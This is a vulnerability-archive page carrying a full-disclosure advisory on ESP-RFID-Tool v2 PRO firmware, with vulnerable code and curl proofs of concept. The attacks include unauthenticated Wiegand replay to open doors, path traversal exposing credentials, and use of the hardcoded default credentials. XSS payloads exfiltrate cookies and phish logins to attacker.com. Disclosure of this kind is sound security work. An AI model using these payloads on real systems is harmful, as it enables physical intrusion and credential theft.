GCVE-1988-2026-0272
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
ESP-RFID-Tool v2 PRO — Full Public Disclosure
Summary
# Security Advisory: ESP-RFID-Tool v2 PRO
**Product:** ESP-RFID-Tool v2 PRO
**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de
**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2
**Affected Version:** v2.2.1 (latest as of 2026-04-28)
**Severity:** CRITICAL
**Disclosure Type:** Full Public Disclosure
**Disclosure Date:** 2026-04-28
**Researcher:** Milan 't4c' Berger
---
## Disclosure Timeline
| Date | Event |
|------|-------|
| 2026-04-26 | Vulnerabilities discovered during code review |
| 2026-04-27 | Researcher posted responsible disclosure comment on his
advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher posted responsible disclosure comment again on
his advertisement on Youtube (GitHub issues disabled by vendor) |
| 2026-04-28 | Vendor deleted the disclosure comment without response |
| 2026-04-28 | Researcher attempted contact via additional social media
channels |
| 2026-04-28 | Vendor blocked researcher on all contacted channels; no
acknowledgment given |
| 2026-04-28 | Full public disclosure — 48h contact window exhausted,
vendor uncooperative |
---
## Summary
The ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by
Raik Schneider targeting security researchers and red team operators. It is
based on an ESP8266 microcontroller and provides a web interface for
logging, replaying, and analyzing Wiegand RFID data from physical access
control systems.
Multiple critical security vulnerabilities were identified in firmware
v2.2.1. The most severe findings allow any unauthenticated attacker with
network access to: replay captured RFID credentials against physical door
locks, read the complete device configuration including plaintext
passwords, and permanently destroy all captured evidence — all without
authentication.
Note: A full practical verification of all exploits involving physical
signal transmission could not be performed as no Wiegand access terminal
was available during testing.
The vendor was notified through all available channels. All notifications
were deleted, and the researcher was blocked. Full disclosure follows.
---
## Vulnerability Summary
| ID | Severity | Title |
|----|----------|-------|
| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX — Physical Access
Control Bypass |
| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth
present, but trivially bypassed) |
| ESPR-03 | **CRITICAL** | Path Traversal — Arbitrary SPIFFS File Read |
| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |
| ESPR-05 | **HIGH** | Stored XSS via Log Injection |
| ESPR-06 | **HIGH** | Hardcoded Default Credentials |
| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |
| ESPR-08 | **MEDIUM** | No CSRF Protection — Entire Application |
| ESPR-09 | **MEDIUM** | Plaintext FTP Server |
| ESPR-10 | **MEDIUM** | Missing Security Response Headers |
| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |
| ESPR-12 | **LOW** | Predictable AP SSID — Device Fingerprinting |
| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |
---
## Detailed Findings
---
### ESPR-01 — Unauthenticated Wiegand TX: Physical Access Control Bypass
**Severity:** CRITICAL
**File:** `api_server.cpp`
**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`
**Description:**
All Wiegand transmission API endpoints execute hardware TX operations
without any authentication check. Any attacker on the same network can
replay arbitrary Wiegand bitstreams to downstream access control hardware —
unlocking physical doors, gates, or secured areas — with a single
unauthenticated HTTP GET request.
**Vulnerable Code:**
```cpp
server.on("/api/tx/bin", []() {
// ...
// No server.authenticate() call
apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);
});
```
**Proof of Concept:**
```bash
# Replay a captured 26-bit HID card to open a door
curl "
http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001&pulsewidth=40&interval=2000
"
# Re-encode a known UID and transmit
curl "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF&format=26";
# Instant transmission (no response wait)
curl "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001
"
```
**Impact:**
Physical security bypass. An attacker who previously captured a card UID
(e.g. via ESPR-07) can immediately replay it to open the corresponding door
— all from an unauthenticated HTTP request. This completely undermines the
device's operational security model.
---
### ESPR-02 — Log Deletion via Default Credentials
**Severity:** MEDIUM
**File:** `esprfidtool.ino`
**Endpoints:** `/deletelog`, `/deletelog/yes`
**Description:**
`/deletelog/yes` requires HTTP Basic Authentication. However, the default
credentials (`admin:rfidtool`) are hardcoded and publicly known via the
open-source repository. Combined with ESPR-06, any attacker with knowledge
of the default credentials can permanently delete all captured RFID logs.
`/deletelog` (the confirmation page) has **no authentication**, which also
makes it a direct XSS vector (see ESPR-04).
**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without
credentials. This finding was initially rated CRITICAL based on static code
analysis of an earlier version; auth is present in the tested build.
**Vulnerable Code:**
```cpp
server.on("/deletelog/yes", [](){
if(!server.authenticate(update_username, update_password))
return server.requestAuthentication();
// Auth present — but default credentials are public (admin:rfidtool)
SPIFFS.remove(deletelog);
});
```
**Proof of Concept:**
```bash
# Delete log using publicly known default credentials
curl -u admin:rfidtool "http://192.168.1.1/deletelog/yes?payload=/log.txt";
```
**Impact:**
Any attacker who knows the default credentials (publicly available) can
permanently destroy all captured evidence. Severity is driven by ESPR-06
(hardcoded defaults) — fixing one without the other provides no real
protection.
---
### ESPR-03 — Path Traversal: Arbitrary SPIFFS File Read
**Severity:** CRITICAL
**File:** `esprfidtool.ino` — `ViewLog()`
**Description:**
The `payload` parameter is passed directly to `SPIFFS.open()` without any
path validation or sanitization. An unauthenticated attacker can read any
file stored in the device's SPIFFS filesystem, including configuration
files containing plaintext credentials.
**Vulnerable Code:**
```cpp
void ViewLog(){
String payload;
payload += server.arg(0); // raw URL arg, no sanitization
File f = SPIFFS.open(payload, "r");
// outputs file content directly to browser
}
```
**Proof of Concept:**
```bash
# Note: server.arg(0) reads the FIRST URL argument by position, not by name.
# The correct syntax is ?<filename>, not ?payload=<filename>
# Read device configuration (contains credentials in plaintext)
curl "http://192.168.1.1/viewlog?/esprfidtool.json";
# Read log files (enumerate first via /api/listlogs)
curl "http://192.168.1.1/viewlog?/log.txt";
# List all available filenames first
curl "http://192.168.1.1/api/listlogs";
```
**Note:** The endpoint only returns content if the file exists on SPIFFS.
The config file `/esprfidtool.json` is filtered from `ListLogs()` output
but is NOT
filtered in `ViewLog()`, making it directly readable via this endpoint.
**Example Response:**
```json
{
"ssid": "HomeNetwork",
"password": "mysecretwifi",
"update_username": "admin",
"update_password": "rfidtool",
"ftp_username": "ftp-admin",
"ftp_password": "rfidtool"
}
```
**Impact:**
Full information disclosure. WiFi credentials, admin passwords, FTP
credentials, and all captured RFID card data (UIDs, bitstreams) are exposed
to any unauthenticated attacker.
---
### ESPR-04 — Reflected Cross-Site Scripting (XSS)
**Severity:** HIGH
**File:** `esprfidtool.ino` — `DeleteLog()`
**Endpoint:** `GET /deletelog`
**Description:**
The `payload` URL parameter is reflected directly into the HTML response
body without sanitization or HTML encoding. An attacker can inject
arbitrary JavaScript that executes in the victim's browser.
**Vulnerable Code:**
```cpp
// server.arg("payload") embedded directly into HTML — no htmlEncode()
server.send(200, "text/html", "... Deleting: " + payload + " ...");
```
**Proof of Concept:**
```
# Basic alert PoC
http://192.168.1.1/deletelog?payload=<script>alert('Sag Danke')</script>
# Cookie exfiltration
http://192.168.1.1/deletelog?payload=<script>document.location='
http://attacker.com/?c='+document.cookie
<http://attacker.com/?c=%27+document.cookie></script>
# Credential phishing overlay (effective in captive portal context)
http://192.168.1.1/deletelog?payload=<script>document.body.innerHTML='<form
action="http://attacker.com/steal";><input name="u"
placeholder="Username"><input name="p" type="password"
placeholder="Password"><input type="submit"></form>'</script>
```
**Impact:**
Session hijacking, credential theft, UI redressing. Severity is elevated
because the device operates as a captive portal — victims auto-connect and
are served the attacker-controlled page.
---
### ESPR-05 — Stored XSS via Log Injection
**Severity:** HIGH
**File:** `esprfidtool.ino` (log write path)
**Description:**
Log entries are written to SPIFFS containing raw data including HTML
markup. When logs are rendered via `ViewLog()` or `ListLogs()` without
output encoding, an attacker who can inject HTML/JavaScript into a log
entry achieves persistent stored XSS. This can be triggered by sending a
crafted Wiegand signal or via the unauthenticated TX API.
**Proof of Concept:**
```bash
# Inject XSS payload via unauthenticated TX endpoint
# Craft a bitstream that results in a log entry containing script tags
# The exact binary depends on how the logging function serializes data,
# but the vector is confirmed by the absence of HTML encoding on log output.
# After injection, any admin viewing logs triggers the payload:
curl "http://192.168.1.1/viewlog?payload=/log.txt";
# -> <script>...</script> executes in admin browser
```
**Impact:**
Persistent XSS. Any administrator viewing the log file executes
attacker-controlled JavaScript. Can be used to steal credentials or pivot
to further attacks.
---
### ESPR-06 — Hardcoded Default Credentials
**Severity:** HIGH
**File:** `esprfidtool.ino` — `loadDefaults()`
**Description:**
Default credentials are hardcoded and publicly known via the open-source
repository. No forced credential change on first boot.
| Service | Username | Password |
|---------|----------|----------|
| Web Interface / OTA Update | `admin` | `rfidtool` |
| FTP Server | `ftp-admin` | `rfidtool` |
| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |
**Proof of Concept:**
```bash
# Authenticated firmware update with known default credentials
curl -u admin:rfidtool "http://192.168.1.1:1337/update"; -F
"image=@malicious.bin"
# FTP login
ftp 192.168.1.1
# Login: ftp-admin / rfidtool
```
**Impact:**
Trivial full authentication bypass for all credential-protected endpoints.
Anyone familiar with the product has immediate access.
---
### ESPR-07 — Unauthenticated Log View + Filesystem Enumeration
**Severity:** HIGH
**File:** `esprfidtool.ino`
**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,
`/api/lastread`
**Description:**
All log viewing and filesystem enumeration endpoints require no
authentication. The `/api/lastread` endpoint additionally exposes the last
captured card in real time.
**Proof of Concept:**
```bash
# Enumerate all files on device
curl "http://192.168.1.1/api/listlogs";
# Read captured card data
curl "http://192.168.1.1/api/lastread";
# Response:
{"bits":26,"bitstream":"01001100...","uid":"0A1B2C3D","format":"HID26"}
# Get device info (firmware version, free space)
curl "http://192.168.1.1/api/info";
```
**Impact:**
Complete exfiltration of all captured RFID card data
Severity
No CVSS data available.
Assigner
References
21 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | ESP-RFID-Tool v2 PRO |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "ESP-RFID-Tool v2 PRO",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Milan Berger via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Security Advisory: ESP-RFID-Tool v2 PRO\n\n**Product:** ESP-RFID-Tool v2 PRO\n**Vendor:** Raik Schneider (Einstein2150), foto-video-it.de\n**Repository:** https://github.com/Einstein2150/ESP-RFID-Tool-v2\n**Affected Version:** v2.2.1 (latest as of 2026-04-28)\n**Severity:** CRITICAL\n**Disclosure Type:** Full Public Disclosure\n**Disclosure Date:** 2026-04-28\n**Researcher:** Milan \u0027t4c\u0027 Berger\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-04-26 | Vulnerabilities discovered during code review |\n| 2026-04-27 | Researcher posted responsible disclosure comment on his\nadvertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher posted responsible disclosure comment again on\nhis advertisement on Youtube (GitHub issues disabled by vendor) |\n| 2026-04-28 | Vendor deleted the disclosure comment without response |\n| 2026-04-28 | Researcher attempted contact via additional social media\nchannels |\n| 2026-04-28 | Vendor blocked researcher on all contacted channels; no\nacknowledgment given |\n| 2026-04-28 | Full public disclosure \u2014 48h contact window exhausted,\nvendor uncooperative |\n\n---\n\n## Summary\n\nThe ESP-RFID-Tool v2 PRO is a commercial hardware/firmware product sold by\nRaik Schneider targeting security researchers and red team operators. It is\nbased on an ESP8266 microcontroller and provides a web interface for\nlogging, replaying, and analyzing Wiegand RFID data from physical access\ncontrol systems.\n\nMultiple critical security vulnerabilities were identified in firmware\nv2.2.1. The most severe findings allow any unauthenticated attacker with\nnetwork access to: replay captured RFID credentials against physical door\nlocks, read the complete device configuration including plaintext\npasswords, and permanently destroy all captured evidence \u2014 all without\nauthentication.\n\nNote: A full practical verification of all exploits involving physical\nsignal transmission could not be performed as no Wiegand access terminal\nwas available during testing.\n\nThe vendor was notified through all available channels. All notifications\nwere deleted, and the researcher was blocked. Full disclosure follows.\n\n---\n\n## Vulnerability Summary\n\n| ID | Severity | Title |\n|----|----------|-------|\n| ESPR-01 | **CRITICAL** | Unauthenticated Wiegand TX \u2014 Physical Access\nControl Bypass |\n| ESPR-02 | **MEDIUM** | Log Deletion via Default Credentials (Auth\npresent, but trivially bypassed) |\n| ESPR-03 | **CRITICAL** | Path Traversal \u2014 Arbitrary SPIFFS File Read |\n| ESPR-04 | **HIGH** | Reflected Cross-Site Scripting (XSS) |\n| ESPR-05 | **HIGH** | Stored XSS via Log Injection |\n| ESPR-06 | **HIGH** | Hardcoded Default Credentials |\n| ESPR-07 | **HIGH** | Unauthenticated Log View + Filesystem Enumeration |\n| ESPR-08 | **MEDIUM** | No CSRF Protection \u2014 Entire Application |\n| ESPR-09 | **MEDIUM** | Plaintext FTP Server |\n| ESPR-10 | **MEDIUM** | Missing Security Response Headers |\n| ESPR-11 | **MEDIUM** | No Input Validation on Integer Parameters |\n| ESPR-12 | **LOW** | Predictable AP SSID \u2014 Device Fingerprinting |\n| ESPR-13 | **INFO** | Captive Portal Mode Widens Attack Surface |\n\n---\n\n## Detailed Findings\n\n---\n\n### ESPR-01 \u2014 Unauthenticated Wiegand TX: Physical Access Control Bypass\n\n**Severity:** CRITICAL\n**File:** `api_server.cpp`\n**Endpoints:** `/api/tx/bin`, `/api/txinstant/bin`, `/api/wiegandencode`\n\n**Description:**\nAll Wiegand transmission API endpoints execute hardware TX operations\nwithout any authentication check. Any attacker on the same network can\nreplay arbitrary Wiegand bitstreams to downstream access control hardware \u2014\nunlocking physical doors, gates, or secured areas \u2014 with a single\nunauthenticated HTTP GET request.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/api/tx/bin\", []() {\n // ...\n // No server.authenticate() call\n apiTX(api_binary, api_pulsewidth, api_datainterval, api_wait);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Replay a captured 26-bit HID card to open a door\ncurl \"\nhttp://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\n\"\n\n# Re-encode a known UID and transmit\ncurl \"http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\";\n\n# Instant transmission (no response wait)\ncurl \"http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001\n\"\n```\n\n**Impact:**\nPhysical security bypass. An attacker who previously captured a card UID\n(e.g. via ESPR-07) can immediately replay it to open the corresponding door\n\u2014 all from an unauthenticated HTTP request. This completely undermines the\ndevice\u0027s operational security model.\n\n---\n\n### ESPR-02 \u2014 Log Deletion via Default Credentials\n\n**Severity:** MEDIUM\n**File:** `esprfidtool.ino`\n**Endpoints:** `/deletelog`, `/deletelog/yes`\n\n**Description:**\n`/deletelog/yes` requires HTTP Basic Authentication. However, the default\ncredentials (`admin:rfidtool`) are hardcoded and publicly known via the\nopen-source repository. Combined with ESPR-06, any attacker with knowledge\nof the default credentials can permanently delete all captured RFID logs.\n`/deletelog` (the confirmation page) has **no authentication**, which also\nmakes it a direct XSS vector (see ESPR-04).\n\n**Note:** Live testing confirmed `/deletelog/yes` returns HTTP 401 without\ncredentials. This finding was initially rated CRITICAL based on static code\nanalysis of an earlier version; auth is present in the tested build.\n\n**Vulnerable Code:**\n```cpp\nserver.on(\"/deletelog/yes\", [](){\n if(!server.authenticate(update_username, update_password))\n return server.requestAuthentication();\n // Auth present \u2014 but default credentials are public (admin:rfidtool)\n SPIFFS.remove(deletelog);\n});\n```\n\n**Proof of Concept:**\n```bash\n# Delete log using publicly known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1/deletelog/yes?payload=/log.txt\";\n```\n\n**Impact:**\nAny attacker who knows the default credentials (publicly available) can\npermanently destroy all captured evidence. Severity is driven by ESPR-06\n(hardcoded defaults) \u2014 fixing one without the other provides no real\nprotection.\n\n---\n\n### ESPR-03 \u2014 Path Traversal: Arbitrary SPIFFS File Read\n\n**Severity:** CRITICAL\n**File:** `esprfidtool.ino` \u2014 `ViewLog()`\n\n**Description:**\nThe `payload` parameter is passed directly to `SPIFFS.open()` without any\npath validation or sanitization. An unauthenticated attacker can read any\nfile stored in the device\u0027s SPIFFS filesystem, including configuration\nfiles containing plaintext credentials.\n\n**Vulnerable Code:**\n```cpp\nvoid ViewLog(){\n String payload;\n payload += server.arg(0); // raw URL arg, no sanitization\n File f = SPIFFS.open(payload, \"r\");\n // outputs file content directly to browser\n}\n```\n\n**Proof of Concept:**\n```bash\n# Note: server.arg(0) reads the FIRST URL argument by position, not by name.\n# The correct syntax is ?\u003cfilename\u003e, not ?payload=\u003cfilename\u003e\n\n# Read device configuration (contains credentials in plaintext)\ncurl \"http://192.168.1.1/viewlog?/esprfidtool.json\";\n\n# Read log files (enumerate first via /api/listlogs)\ncurl \"http://192.168.1.1/viewlog?/log.txt\";\n\n# List all available filenames first\ncurl \"http://192.168.1.1/api/listlogs\";\n```\n\n**Note:** The endpoint only returns content if the file exists on SPIFFS.\nThe config file `/esprfidtool.json` is filtered from `ListLogs()` output\nbut is NOT\nfiltered in `ViewLog()`, making it directly readable via this endpoint.\n\n**Example Response:**\n```json\n{\n \"ssid\": \"HomeNetwork\",\n \"password\": \"mysecretwifi\",\n \"update_username\": \"admin\",\n \"update_password\": \"rfidtool\",\n \"ftp_username\": \"ftp-admin\",\n \"ftp_password\": \"rfidtool\"\n}\n```\n\n**Impact:**\nFull information disclosure. WiFi credentials, admin passwords, FTP\ncredentials, and all captured RFID card data (UIDs, bitstreams) are exposed\nto any unauthenticated attacker.\n\n---\n\n### ESPR-04 \u2014 Reflected Cross-Site Scripting (XSS)\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `DeleteLog()`\n**Endpoint:** `GET /deletelog`\n\n**Description:**\nThe `payload` URL parameter is reflected directly into the HTML response\nbody without sanitization or HTML encoding. An attacker can inject\narbitrary JavaScript that executes in the victim\u0027s browser.\n\n**Vulnerable Code:**\n```cpp\n// server.arg(\"payload\") embedded directly into HTML \u2014 no htmlEncode()\nserver.send(200, \"text/html\", \"... Deleting: \" + payload + \" ...\");\n```\n\n**Proof of Concept:**\n```\n# Basic alert PoC\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003ealert(\u0027Sag Danke\u0027)\u003c/script\u003e\n\n# Cookie exfiltration\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.location=\u0027\nhttp://attacker.com/?c=\u0027+document.cookie\n\u003chttp://attacker.com/?c=%27+document.cookie\u003e\u003c/script\u003e\n\n# Credential phishing overlay (effective in captive portal context)\nhttp://192.168.1.1/deletelog?payload=\u003cscript\u003edocument.body.innerHTML=\u0027\u003cform\naction=\"http://attacker.com/steal\";\u003e\u003cinput name=\"u\"\nplaceholder=\"Username\"\u003e\u003cinput name=\"p\" type=\"password\"\nplaceholder=\"Password\"\u003e\u003cinput type=\"submit\"\u003e\u003c/form\u003e\u0027\u003c/script\u003e\n```\n\n**Impact:**\nSession hijacking, credential theft, UI redressing. Severity is elevated\nbecause the device operates as a captive portal \u2014 victims auto-connect and\nare served the attacker-controlled page.\n\n---\n\n### ESPR-05 \u2014 Stored XSS via Log Injection\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` (log write path)\n\n**Description:**\nLog entries are written to SPIFFS containing raw data including HTML\nmarkup. When logs are rendered via `ViewLog()` or `ListLogs()` without\noutput encoding, an attacker who can inject HTML/JavaScript into a log\nentry achieves persistent stored XSS. This can be triggered by sending a\ncrafted Wiegand signal or via the unauthenticated TX API.\n\n**Proof of Concept:**\n```bash\n# Inject XSS payload via unauthenticated TX endpoint\n# Craft a bitstream that results in a log entry containing script tags\n# The exact binary depends on how the logging function serializes data,\n# but the vector is confirmed by the absence of HTML encoding on log output.\n\n# After injection, any admin viewing logs triggers the payload:\ncurl \"http://192.168.1.1/viewlog?payload=/log.txt\";\n# -\u003e \u003cscript\u003e...\u003c/script\u003e executes in admin browser\n```\n\n**Impact:**\nPersistent XSS. Any administrator viewing the log file executes\nattacker-controlled JavaScript. Can be used to steal credentials or pivot\nto further attacks.\n\n---\n\n### ESPR-06 \u2014 Hardcoded Default Credentials\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino` \u2014 `loadDefaults()`\n\n**Description:**\nDefault credentials are hardcoded and publicly known via the open-source\nrepository. No forced credential change on first boot.\n\n| Service | Username | Password |\n|---------|----------|----------|\n| Web Interface / OTA Update | `admin` | `rfidtool` |\n| FTP Server | `ftp-admin` | `rfidtool` |\n| WiFi AP SSID | `ESP-RFID-Tool` | *(none by default)* |\n\n**Proof of Concept:**\n```bash\n# Authenticated firmware update with known default credentials\ncurl -u admin:rfidtool \"http://192.168.1.1:1337/update\"; -F\n\"image=@malicious.bin\"\n\n# FTP login\nftp 192.168.1.1\n# Login: ftp-admin / rfidtool\n```\n\n**Impact:**\nTrivial full authentication bypass for all credential-protected endpoints.\nAnyone familiar with the product has immediate access.\n\n---\n\n### ESPR-07 \u2014 Unauthenticated Log View + Filesystem Enumeration\n\n**Severity:** HIGH\n**File:** `esprfidtool.ino`\n**Endpoints:** `/viewlog`, `/listlogs`, `/api/listlogs`, `/api/info`,\n`/api/lastread`\n\n**Description:**\nAll log viewing and filesystem enumeration endpoints require no\nauthentication. The `/api/lastread` endpoint additionally exposes the last\ncaptured card in real time.\n\n**Proof of Concept:**\n```bash\n# Enumerate all files on device\ncurl \"http://192.168.1.1/api/listlogs\";\n\n# Read captured card data\ncurl \"http://192.168.1.1/api/lastread\";\n# Response:\n{\"bits\":26,\"bitstream\":\"01001100...\",\"uid\":\"0A1B2C3D\",\"format\":\"HID26\"}\n\n# Get device info (firmware version, free space)\ncurl \"http://192.168.1.1/api/info\";\n```\n\n**Impact:**\nComplete exfiltration of all captured RFID card data "
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:43Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/18"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/18"
},
{
"url": "http://192.168.1.1/api/info\""
},
{
"url": "http://192.168.1.1/api/lastread\""
},
{
"url": "http://192.168.1.1/api/listlogs\""
},
{
"url": "http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000"
},
{
"url": "http://192.168.1.1/api/tx/bin?binary=01001100110101010110101001\u0026pulsewidth=40\u0026interval=2000\""
},
{
"url": "http://192.168.1.1/api/txinstant/bin?binary=01001100110101010110101001"
},
{
"url": "http://192.168.1.1/api/wiegandencode?uid=DEADBEEF\u0026format=26\""
},
{
"url": "http://192.168.1.1/deletelog/yes?payload=/log.txt\""
},
{
"url": "http://192.168.1.1/deletelog?payload="
},
{
"url": "http://192.168.1.1/viewlog?/esprfidtool.json\""
},
{
"url": "http://192.168.1.1/viewlog?/log.txt\""
},
{
"url": "http://192.168.1.1/viewlog?payload=/log.txt\""
},
{
"url": "http://192.168.1.1:1337/update\""
},
{
"url": "http://attacker.com/?c=%27+document.cookie"
},
{
"url": "http://attacker.com/?c=\u0027+document.cookie"
},
{
"url": "http://attacker.com/steal\""
},
{
"url": "https://github.com/Einstein2150/ESP-RFID-Tool-v2"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/18"
],
"discovery": "EXTERNAL"
},
"title": "ESP-RFID-Tool v2 PRO \u2014 Full Public Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0272",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/18",
"automated": true,
"contentSha256": "ab11a2b4096195e0c060316686e7fe713a92f2e11cf22ec1f7caf0b3374e9401",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/18",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-28T18:08:50Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:43Z",
"dateUpdated": "2026-09-08T08:13:43Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0272"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…